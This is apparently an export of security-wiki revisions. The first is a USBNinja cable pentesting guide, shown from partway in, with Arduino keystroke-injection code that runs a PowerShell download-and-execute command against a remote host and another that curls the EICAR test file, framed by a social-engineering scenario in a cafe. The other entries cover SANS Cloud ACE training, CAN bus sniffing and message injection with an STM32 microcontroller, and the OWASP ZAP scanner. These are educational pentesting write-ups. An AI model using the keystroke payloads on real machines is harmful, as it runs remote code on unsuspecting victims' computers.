The attacker goes to a cafe and asks someone there with a computer to charge his cell phone on his computer.&lt;br /&gt;
The attacker can now engage the victim in a conversation in order to execute the malicious code unnoticed through the remote connection. And the attack is completed in a few seconds.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Arduino IDE + Drivers&lt;br /&gt;
* Bluetooth-Device&lt;br /&gt;
** Android Application&lt;br /&gt;
** Remote Bluetooth shield&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
We will not deal with the Remote Bluetooth shield here. Instead of this we take a simple Android smartphone and install it. A more detailed documentation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here].&lt;br /&gt;
&lt;br /&gt;
When the program has been checked for syntax errors in the Arduino IDE and is ready to be uploaded, we need to put the cable into programming mode. To activate the programming mode, the supplied magnet must be held against the rear end of the connector (USB Type A). Only then can the connection to the computer be established. When pressing the compile button in the Arduino IDE, a message appears that the upload is in progress:&lt;br /&gt;
&lt;br /&gt;
[[File:Arduino IDE message 1.png|500px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
When plugging in the cable with the magnet holding, we should see the upload:&lt;br /&gt;
&lt;br /&gt;
[[File:Arduino IDE message 2.png|500px|thumb|none|]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Important information: &#039;&#039;&#039; &lt;br /&gt;
In my case it was important that no other USB device was plugged into the computer, because the USBNinja cable is otherwise not recognized.&lt;br /&gt;
&lt;br /&gt;
After that, the cable can be connected to the target host (without magnets). Depending on the programming, the code is triggered immediately after connection or when the remote connection button is pressed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exploit A (Change Background) ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Code (Arduino IDE): &#039;&#039;&#039; &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 #define LAYOUT_GERMAN&lt;br /&gt;
 #include &amp;lt;NinjaKeyboard.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 void setup() {&lt;br /&gt;
     SetRunOnce(PAYLOADA,true);  &lt;br /&gt;
     SetRunOnce(PAYLOADB,true);  &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 void loop() {}&lt;br /&gt;
&lt;br /&gt;
 void payloadA() {&lt;br /&gt;
&lt;br /&gt;
     USBninjaOnline();&lt;br /&gt;
&lt;br /&gt;
     NinjaKeyboard.begin();&lt;br /&gt;
     NinjaKeyboard.delay(1000);&lt;br /&gt;
     NinjaKeyboard.sendKeyStroke(0);&lt;br /&gt;
     NinjaKeyboard.delay(100);&lt;br /&gt;
     NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);&lt;br /&gt;
     NinjaKeyboard.delay(100);&lt;br /&gt;
     NinjaKeyboard.println(F(&amp;quot;powershell \&amp;quot; [System.Net.ServicePointManager]::SecurityProtocol = 3072 -bor 768 -bor 192 -bor 48; iwr https://www.lostserver.com/static/pony.ps -UseBasicParsing | iex\&amp;quot;&amp;quot;));&lt;br /&gt;
     NinjaKeyboard.end();&lt;br /&gt;
&lt;br /&gt;
     USBninjaOffline();&lt;br /&gt;
&lt;br /&gt;
     NinjaKeyboard.begin();&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Description &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When executing payload, background on the victim host will change and the image we downloaded is set.&lt;br /&gt;
&lt;br /&gt;
You can watch the video of using this script: &lt;br /&gt;
https://www.youtube.com/watch?v=L90VGpqBa7M&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; PayloadA: &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Once you press button A, the following happens:&lt;br /&gt;
* Executing PowerShell to execute pony.ps script remotely from &#039;https://www.lostserver.com/static/pony.ps&#039;&lt;br /&gt;
* The PowerShell script pony.ps downloads pony.jpg image from &#039;https://www.lostserver.com/static/pony.jpg&#039; then store it in a temp file.&lt;br /&gt;
* Then change the background to the pony.jpg picture.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Execution (on Android Device): &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Again, you can find detailed instructions of the installation at the above mentioned link.&lt;br /&gt;
&lt;br /&gt;
[[File:Connecting_to_USBNinja.png|400px|thumb|none|Connecting to USBNinja via Android Device]]&lt;br /&gt;
&lt;br /&gt;
We can then select which payload we want to execute:&lt;br /&gt;
&lt;br /&gt;
[[File:Execute_Payload_USBNinja.png|400px|thumb|none|Execute Payload via Android Device]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Important information: &#039;&#039;&#039; &lt;br /&gt;
Don’t forget to allow the application on the smartphone to use your current location. Without, it will not find your Ninja-cable.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Exploit B (MaliciousTestFile) ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Code (Arduino IDE): &#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 void payloadB() {&lt;br /&gt;
&lt;br /&gt;
     USBninjaOnline();&lt;br /&gt;
&lt;br /&gt;
     NinjaKeyboard.begin();&lt;br /&gt;
     NinjaKeyboard.delay(1000);&lt;br /&gt;
     NinjaKeyboard.sendKeyStroke(0);&lt;br /&gt;
     NinjaKeyboard.delay(100);&lt;br /&gt;
     NinjaKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);&lt;br /&gt;
     NinjaKeyboard.delay(100);&lt;br /&gt;
     NinjaKeyboard.println(F(&amp;quot;cmd.exe /C curl https://www.eicar.org/download-anti-malware-testfile/eicar.com -O eicar.com&amp;quot;));&lt;br /&gt;
     NinjaKeyboard.delay(100);&lt;br /&gt;
     NinjaKeyboard.end();&lt;br /&gt;
&lt;br /&gt;
     USBninjaOffline();&lt;br /&gt;
&lt;br /&gt;
     NinjaKeyboard.begin();&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; Description &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The program code places an Eicar file on the host. An EICAR Standard Anti-Malware Test file is a special &#039;dummy&#039; file which is used to test the correct operation of malware detection scanners. When an EICAR test file is downloaded or scanned, ideally the scanner will detect it exactly as if it were a malicious program.&lt;br /&gt;
&lt;br /&gt;
The program code was adapted a little by me. The &amp;quot;curl&amp;quot; command is used here to download the Eicar file. &amp;quot;-O&amp;quot; tells us the output. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; PayloadB: &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Once you press button B, the following happens:&lt;br /&gt;
&lt;br /&gt;
* Executing “curl” command to download the malicious test file&lt;br /&gt;
* The malicious file is going to be saved in the path where the shell was opened.&lt;br /&gt;
&lt;br /&gt;
Execution was shown in example above. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039; More examples: &#039;&#039;&#039;&lt;br /&gt;
* You can find some examples in the Arduino IDE under File – Examples – Examples for USBNinja &lt;br /&gt;
* https://github.com/KINGSABRI/USBNinjaPayloads - which I used&lt;br /&gt;
* There are a lot of Github repositories with Code-Examples&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://usbninja.com/&lt;br /&gt;
* https://scheible.it/usbninja-kabel/&lt;br /&gt;
* https://github.com/KINGSABRI/USBNinjaPayloads/tree/master/NinjaKeyboard/ChangeBgrndRunMalware&lt;br /&gt;
* https://www.youtube.com/watch?v=L90VGpqBa7M&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Sans_Cloud_ACE&amp;diff=14630</id>
		<title>Sans Cloud ACE</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Sans_Cloud_ACE&amp;diff=14630"/>
		<updated>2024-03-12T17:53:19Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary ==&lt;br /&gt;
&lt;br /&gt;
SANS Cloud ACE is an initiative that offers a variety of training and courses to educate and further train cloud security experts. According to the SANS Institute, the ongoing transition and increased use of cloud services by companies is leading to a significant increase in the need for cloud security specific professionals, for whose training the institute’s initiative should help. &amp;lt;ref&amp;gt; https://www.sans.org/cloud-security/ace/ &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SANS Institute ==&lt;br /&gt;
&lt;br /&gt;
SANS is a leading institution for education and training in the field of IT security. The acronym SANS stands for SysAdmin, Audit, Network and Security.&amp;lt;ref&amp;gt;  https://www.wikiwand.com/en/The_Escal_Institute_of_Advanced_Technologies&amp;lt;/ref&amp;gt;  The organization was founded in 1989 and is the world’s largest source of IT security training and certification according to its own claims. &amp;lt;ref&amp;gt;https://sans.org&amp;lt;/ref&amp;gt; &amp;lt;br /&amp;gt; &lt;br /&gt;
SANS offers various methods to deliver the course content for every required level, including degree programs, certificates, and training. Some of the subfields include “Digital Forensics and Incident Response”, “Cyber Defense and Blue Team Operations”, and “Cloud Security”. These courses are led by experienced industry experts. Training events in various cities are also part of the SANS offerings. A dedicated blog, newsletter, and podcasts provide the opportunity to stay up-to-date on the latest security topics. &amp;lt;ref&amp;gt;https://sans.org&amp;lt;/ref&amp;gt; &amp;lt;br /&amp;gt; &lt;br /&gt;
Depending on the specific subfield of IT security, SANS offers various programs in the form of a series of online courses for in-depth knowledge. One of these programs is SANS Cloud ACE. &amp;lt;ref&amp;gt;https://sans.org&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Topics and Contents ==&lt;br /&gt;
&lt;br /&gt;
Participation in the SANS Cloud ACE Program is chargeable, and therefore not all learning content is freely accessible. However, there is a variety of videos of recorded workshops available on YouTube. These workshops usually last between 20 minutes and an hour and cover various topics related to cloud security. The workshops are designed in a practical way. They do not focus on a specific security risk in the field of cloud computing, but rather on the handling of one of the three cloud security providers, Amazon Web Services, Google Cloud, and Microsoft Azure. In general, the content focuses more on general precautions and misconfigurations of the three most famous cloud service providers. &amp;lt;ref&amp;gt; https://www.youtube.com/@SANSCloudSecurity &amp;lt;/ref&amp;gt; &amp;lt;br /&amp;gt; &lt;br /&gt;
The speakers are security specialists who are supposed to pass on the knowledge they have acquired through their previous professional experience to the participants. Their workshops are often held online so that people from all over the world can participate regardless of their location. Generally, the presentation always consists of a series of slides summarizing the core elements of the course content. Another characteristic is that many workshops not only convey theory but also practical exercises for the participants so that they can apply what they have learned and consolidate their knowledge. Slack is often used as a messenger service for asking questions during the workshop. The speakers are cooperative and apparently motivated to answer participants’ questions. &amp;lt;ref&amp;gt;  https://www.youtube.com/@SANSCloudSecurity &amp;lt;/ref&amp;gt; &amp;lt;br /&amp;gt; &lt;br /&gt;
Outside of the workshops, SANS also offers podcasts and blogs on cloud security for interested parties, where you can follow regular updates on the latest developments in cloud security. &amp;lt;ref&amp;gt;  https://www.sans.org/cloud-security/ace/ &amp;lt;/ref&amp;gt; &amp;lt;br /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
== Concepts ==&lt;br /&gt;
&lt;br /&gt;
Currently, there are ten courses available for SANS Cloud ACE that are specifically designed for cloud security. These courses are listed in orange on the Flight Plan image below and are organized from basic knowledge (top) to more specific and in-depth topics (bottom). The courses are classified from basic knowledge to management on the left side of the names, and icons of different types of aircraft underline the top-to-bottom classification. This metaphorically represents that as a SANS Cloud ACE, you start as a pilot with a small plane and switch to larger planes, symbolizing an expanded knowledge of cloud security by completing more courses. The five columns to the right of the courses in the graph represent the five career orientations covered by the program. The gray circles at the intersections between the work areas and the courses indicate whether the course in the corresponding row is suitable for people in this field or individuals who wish to further their education in this area.  &lt;br /&gt;
&lt;br /&gt;
[[File:Cloud-Flight-Plan.jpg|500px]]&lt;br /&gt;
&lt;br /&gt;
Some courses include a signature in the graph, each of which refers to a specific GIAC certification. GIAC stands for ‘Global Information Assurance Certification’&amp;lt;ref&amp;gt;  https://www.giac.org/about/company-info/?msc=main-nav &amp;lt;/ref&amp;gt; and offers the opportunity to obtain certification after completing the corresponding training. This allows course participants to demonstrate their knowledge and acquire a document with which they can prove their newly acquired knowledge to themselves and their employer.  &amp;lt;ref&amp;gt;  https://www.giac.org/about/company-info/?msc=main-nav &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gaining an ACE status ==&lt;br /&gt;
&lt;br /&gt;
As the name implies, participants in the SANS Cloud ACE program have the opportunity to become a ‘Cloud ACE’. As shown in the Flight Plan, the program is divided into five more specific job categories:&lt;br /&gt;
* Cloud Security Analyst: Use of cloud security solutions for defense and attack detection&lt;br /&gt;
* Cloud Security Architect: Designing cloud security solutions&lt;br /&gt;
* Cloud Security Engineer: Developing solutions for cloud security&lt;br /&gt;
* Dev Sec Ops: Developing, implementing, and managing secure systems&lt;br /&gt;
* Cloud Detection and Response: Detecting threats by monitoring and testing cloud environments&lt;br /&gt;
Participants in the program choose one of the five specializations according to their own job or interests. For each category, there is a journey that must be completed to obtain the title of that journey. Each journey includes three courses, selected according to the topic of the field of work. However, to be designated as a SANS Cloud ACE, one can also take only one course and obtain the corresponding GIAC certification. The target groups are people with previous knowledge in the field of IT and cloud security, but also career changers with the desire to further their education, as the program offers introductory courses on the topic.  &amp;lt;ref&amp;gt;  https://www.sans.org/cloud-security/ace/ &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=STM32F407VG_CAN&amp;diff=14629</id>
		<title>STM32F407VG CAN</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=STM32F407VG_CAN&amp;diff=14629"/>
		<updated>2024-03-12T17:52:34Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Summary ==&lt;br /&gt;
This document shall provide the reader with a concise overview of how to access, read, and inject messages into an existing CAN system. In this process, an MCP 2515 CAN Controller is utilized in conjunction with an STM32F407G-DISC1 Microcontroller. It is noteworthy that any microcontroller with SPI capabilities can be used for this purpose.&lt;br /&gt;
&lt;br /&gt;
== Devices ==&lt;br /&gt;
=== MCP 2515 ===&lt;br /&gt;
The MCP2515 serves as a dedicated Controller Area Network (CAN) controller with key features tailored for efficient CAN bus communication. Employing the CAN 2.0B protocol, this chip is equipped with a Serial Peripheral Interface (SPI) for seamless interaction with a variety of microcontrollers, including the STM32F407G-DISC1 highlighted in this document. With multiple transmit and receive buffers, the MCP2515 facilitates the storage and manipulation of CAN messages, optimizing data flow within the CAN network. Its flexibility extends to bit rate configuration, accommodating diverse network speeds. Furthermore, the MCP2515 incorporates filtering and masking capabilities, allowing selective message reception based on identifiers. This targeted reception, coupled with error detection and handling mechanisms, enhances overall reliability in CAN communication. It is noteworthy that the MCP2515 is designed to work with any microcontroller boasting SPI capabilities, providing versatility in its application across different hardware setups.&lt;br /&gt;
&lt;br /&gt;
=== STM32F407G-DISC1 ===&lt;br /&gt;
The STM32F407G-DISC1 microcontroller board, featured in this guide, is a powerful and versatile device designed to seamlessly interface with the MCP2515 CAN controller for efficient communication on a Controller Area Network (CAN). Equipped with an ARM Cortex-M4 core, the STM32F407G-DISC1 provides robust processing capabilities. Its integrated SPI interface enables seamless communication with the MCP2515, facilitating the exchange of data over the CAN bus. This microcontroller board offers ample resources, including multiple GPIO pins, timers, and communication peripherals. With its compatibility with the SPI protocol, it proves to be an ideal match for the MCP2515 in CAN communication scenarios.&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
When programming the STM32 microcontroller, utilizing Visual Studio Code (VS Code) with the STM32 for VS Code extension proves to be a preferable choice over CubeIDE. The rationale behind this preference lies in the more contemporary and streamlined development environment offered by VS Code. Compared to CubeIDE, which some developers might find outdated, sluggish, and less visually appealing, VS Code provides a modern interface that enhances the overall coding experience. The clean and efficient design of VS Code contributes to a faster and more user-friendly development process. The STM32 for VS Code extension streamlines STM32 development by automatically installing essential tools such as OpenOCD, the ARM GCC-arm-none-eabi toolchain, and Make. This eliminates manual setup, ensuring a consistent development experience across Windows, macOS, and Linux. The extension&#039;s automated tool installation enhances accessibility and usability for developers, allowing them to concentrate on their projects rather than configuration details.&lt;br /&gt;
&lt;br /&gt;
=== Manual Project Creation ===&lt;br /&gt;
==== CubeMX ====&lt;br /&gt;
[[File:CubeMX.PNG|800px|thumb|right]]&lt;br /&gt;
STM32CubeMX simplifies peripheral configuration, generates initialization code, and visualizes pinouts. It eases USB stack integration, a valuable feature for projects involving USB communication. While not mandatory, CubeMX streamlines hardware and middleware setup, saving time and minimizing errors.&lt;br /&gt;
&lt;br /&gt;
Peripheral Activation:&lt;br /&gt;
&lt;br /&gt;
Navigate to the &amp;quot;Connectivity&amp;quot; tab.&lt;br /&gt;
Activate the SPI peripheral under the specific SPI configuration that corresponds to your project.&lt;br /&gt;
SPI Baud Rate and Configuration:&lt;br /&gt;
&lt;br /&gt;
Within the selected SPI configuration, locate the baud rate setting.&lt;br /&gt;
Set the baud rate to a maximum of 10 Mbps, adhering to the MCP2515&#039;s limit.&lt;br /&gt;
Confirm the CPOL (Clock Polarity) and CPHA (Clock Phase) configurations, selecting either CPOL low and CPHA 1 edge or CPOL high and CPHA 2 edges.&lt;br /&gt;
&lt;br /&gt;
Check for a &amp;quot;Data Configuration&amp;quot; tab within the SPI settings.&lt;br /&gt;
Set the data size to 8 bits with MSB (Most Significant Bit) first.&lt;br /&gt;
&lt;br /&gt;
USB Middleware Integration:&lt;br /&gt;
&lt;br /&gt;
Navigate to the &amp;quot;Connectivity&amp;quot; tab.&lt;br /&gt;
Access the &amp;quot;USB_OTG_FS&amp;quot; configuration.&lt;br /&gt;
Set the USB mode specifically to &amp;quot;Device only.&amp;quot;&lt;br /&gt;
USB Middleware Configuration:&lt;br /&gt;
&lt;br /&gt;
Navigate to the &amp;quot;Middleware&amp;quot; tab.&lt;br /&gt;
Configure the USB middleware settings under &amp;quot;USB_DEVICE.&amp;quot;&lt;br /&gt;
Select the exact class required, such as &amp;quot;Class for FS IP Virtual Port Com.&amp;quot;&lt;br /&gt;
By following these precise steps in your development environment, you can efficiently configure the SPI and USB settings for your STM32 microcontroller project.&lt;br /&gt;
&lt;br /&gt;
=== Clone Project ===&lt;br /&gt;
If one is using the STM32F407G-Disc1 it is also possible to simply clone this repository: https://github.com/Chronikle135/STM32F407G-DISC1_CAN.git&lt;br /&gt;
&lt;br /&gt;
=== Wiring ===&lt;br /&gt;
[[File:Wiring_STM32F407G-Disc1_MCP2515.png|600px|right]]&lt;br /&gt;
The wiring can be done as shown in figure but is dependent on the configured pins. It is important to connect the MOSI pin on the microcontroller to the SI pin of the CAN controller. Same goes for the MISO and SO pin. The interrupt pin can be neglected.&lt;br /&gt;
&lt;br /&gt;
== Code ==&lt;br /&gt;
The basis of this implementation is the standard device driver from Microchip Technology Inc., accessible [https://www.microchip.com/en-us/product/MCP2515#document-table here]. This driver has been further adjusted and made compatible with a standard C library by [https://github.com/eziya/STM32_SPI_MCP2515 this GitHub repository]. To use this code, it is necessary to initialize the driver with the &amp;lt;code&amp;gt;CANSPI_Initialize()&amp;lt;/code&amp;gt; function. Following this, messages can be read using the &amp;lt;code&amp;gt;CANSPI_Receive(&amp;amp;rxMessage)&amp;lt;/code&amp;gt; function, which automatically checks the two receiver buffers and retrieves the values from them. If one intends to transmit a message, it can be achieved by utilizing the &amp;lt;code&amp;gt;CANSPI_Transmit(&amp;amp;txMessage)&amp;lt;/code&amp;gt; function, which takes a buffer loaded with a pre-assembled message. This message frame should look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
typedef union&lt;br /&gt;
{&lt;br /&gt;
  struct&lt;br /&gt;
  {&lt;br /&gt;
    uint8_t idType;&lt;br /&gt;
    uint32_t id;&lt;br /&gt;
    uint8_t dlc;&lt;br /&gt;
    uint8_t data0;&lt;br /&gt;
    uint8_t data1;&lt;br /&gt;
    uint8_t data2;&lt;br /&gt;
    uint8_t data3;&lt;br /&gt;
    uint8_t data4;&lt;br /&gt;
    uint8_t data5;&lt;br /&gt;
    uint8_t data6;&lt;br /&gt;
    uint8_t data7;&lt;br /&gt;
  } frame;&lt;br /&gt;
  uint8_t array[14];&lt;br /&gt;
} uCAN_MSG&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=== Filter and masks ===&lt;br /&gt;
Out of the box every filter is set to zero, so every message is accepted. Therefore it is possible to sniff the traffic which occurs in the systems. To reduce the load on single CAN nodes one can adjust the filters and masks with the &amp;lt;code&amp;gt;MCP2515_WriteByteSequence()&amp;lt;/code&amp;gt; command where the corresponding registers and values that are required should be passed. These can be looked up [https://ww1.microchip.com/downloads/aemDocuments/documents/APID/ProductDocuments/DataSheets/MCP2515-Family-Data-Sheet-DS20001801K.pdf in this datasheet]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=14628</id>
		<title>OWASP ZAP</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=OWASP_ZAP&amp;diff=14628"/>
		<updated>2024-03-12T17:50:01Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
=== About ===&lt;br /&gt;
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the &#039;&#039;principles of ZAP&#039;&#039; first for a better understanding.&lt;br /&gt;
&lt;br /&gt;
The principles are:&lt;br /&gt;
* It is free and open source, so anyone can access and use it.&lt;br /&gt;
* It is cross-platform (Windows, Linux, macOS, Docker)&lt;br /&gt;
* It is newcomer friendly, but offers advanced and more complex functions as well.&lt;br /&gt;
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.&lt;br /&gt;
* It is fully internationalized, i.e., it has been translated to many other languages.&lt;br /&gt;
* It is fully documented, meaning it has a set of useful documents and helpline files are included.&lt;br /&gt;
* It works well with additional third-party tools. For example: Automation&lt;br /&gt;
* It supports the use of well-regarded components.&lt;br /&gt;
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.&lt;br /&gt;
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.&lt;br /&gt;
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.&lt;br /&gt;
&lt;br /&gt;
=== Description ===&lt;br /&gt;
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the client&#039;s browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.&lt;br /&gt;
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.&lt;br /&gt;
&lt;br /&gt;
Additionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.&lt;br /&gt;
&lt;br /&gt;
There are various Add-ons, as well as an API, which enhance the functionality and features of ZAP.&lt;br /&gt;
As stated in the principles, ZAP targets all skill levels. Beginning with those who are new to security testing, who are likely to start out using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.&lt;br /&gt;
Since we’re talking about security, to a lot of people, it is also important to know what their security tools really can do. ZAP is open source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).&lt;br /&gt;
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.&lt;br /&gt;
&lt;br /&gt;
==How-To==&lt;br /&gt;
===Installation===&lt;br /&gt;
[[File:Zap-installation.png|thumb|ZAP Installation]]&lt;br /&gt;
&lt;br /&gt;
First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.&lt;br /&gt;
&lt;br /&gt;
Additionally, Java version 11 or higher must be installed. There are no additional requirements.&lt;br /&gt;
&lt;br /&gt;
=== Test target ===&lt;br /&gt;
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ Firing Range], which is a free-to-use online installation of Google&#039;s Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!&lt;br /&gt;
&lt;br /&gt;
===Persistent Sessions===&lt;br /&gt;
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]&lt;br /&gt;
After opening ZAP you are asked if you want to persist the session.&lt;br /&gt;
ZAP is able to save its sessions. In other words, collected and analyzed data from web applications are saved. It enables the user to continue their analysis of the web application without the need to reach the web application.&lt;br /&gt;
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result in hundreds of Megabytes.&lt;br /&gt;
&lt;br /&gt;
===Modes===&lt;br /&gt;
ZAP has different modes to choose from:&lt;br /&gt;
* Safe: Only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application&lt;br /&gt;
* Protected: This is the officially recommended mode. It allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.&lt;br /&gt;
* Standard: ZAP is allowed to do anything to the web application&lt;br /&gt;
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.&lt;br /&gt;
&lt;br /&gt;
===Quick Start/Automated Scan===&lt;br /&gt;
[[File:Zap-quickstart.png|thumb|ZAP Quick Start]]&lt;br /&gt;
The easiest way to start using ZAP is via the Quick Start tab.&lt;br /&gt;
To run a Quick Start/Automated Scan:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window.&lt;br /&gt;
* Click the large Automated Scan button.&lt;br /&gt;
* In the URL to attack text box, enter the full URL of the web application you want to attack.&lt;br /&gt;
* Click the Attack button&lt;br /&gt;
&lt;br /&gt;
===Manual Scan===&lt;br /&gt;
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]&lt;br /&gt;
A manual scan can be done the following way:&lt;br /&gt;
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)&lt;br /&gt;
* Click the large Manual Explore button.&lt;br /&gt;
* In the URL to explore text box, enter the full URL of the web application you want to explore.&lt;br /&gt;
* Select the browser you would like to use&lt;br /&gt;
* Click the Launch Browser&lt;br /&gt;
&lt;br /&gt;
Next, you will be presented with a welcome message that includes the HUD tutorial (see figure “ZAP HUD Welcome Message”)&lt;br /&gt;
&lt;br /&gt;
=== Spider ===&lt;br /&gt;
[[File:Zap-spider.png|thumb|ZAP Spider]]&lt;br /&gt;
After starting an automated scan, the Spider tab opens up in ZAP. The Spider “crawls” through the web application and tries to find every page of the web application. Optionally, a more advanced AJAX spider&lt;br /&gt;
for AJAX-rich sites can be used.&lt;br /&gt;
&lt;br /&gt;
===Add-ons===&lt;br /&gt;
There is a &#039;&#039;&#039;Marketplace&#039;&#039;&#039; for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.&lt;br /&gt;
Usually, Add-ons are assigned one of the following states:&lt;br /&gt;
* Release: high-quality add-on&lt;br /&gt;
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development&lt;br /&gt;
&lt;br /&gt;
[[File:Zap-addons.png|thumb|Manage Add-ons]]&lt;br /&gt;
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for “Manage Add-ons”.&lt;br /&gt;
&lt;br /&gt;
===User Agent Settings===&lt;br /&gt;
If you go to &#039;&#039;Tools → Options → Connection&#039;&#039; in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.&lt;br /&gt;
&lt;br /&gt;
=== API ===&lt;br /&gt;
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.&lt;br /&gt;
&lt;br /&gt;
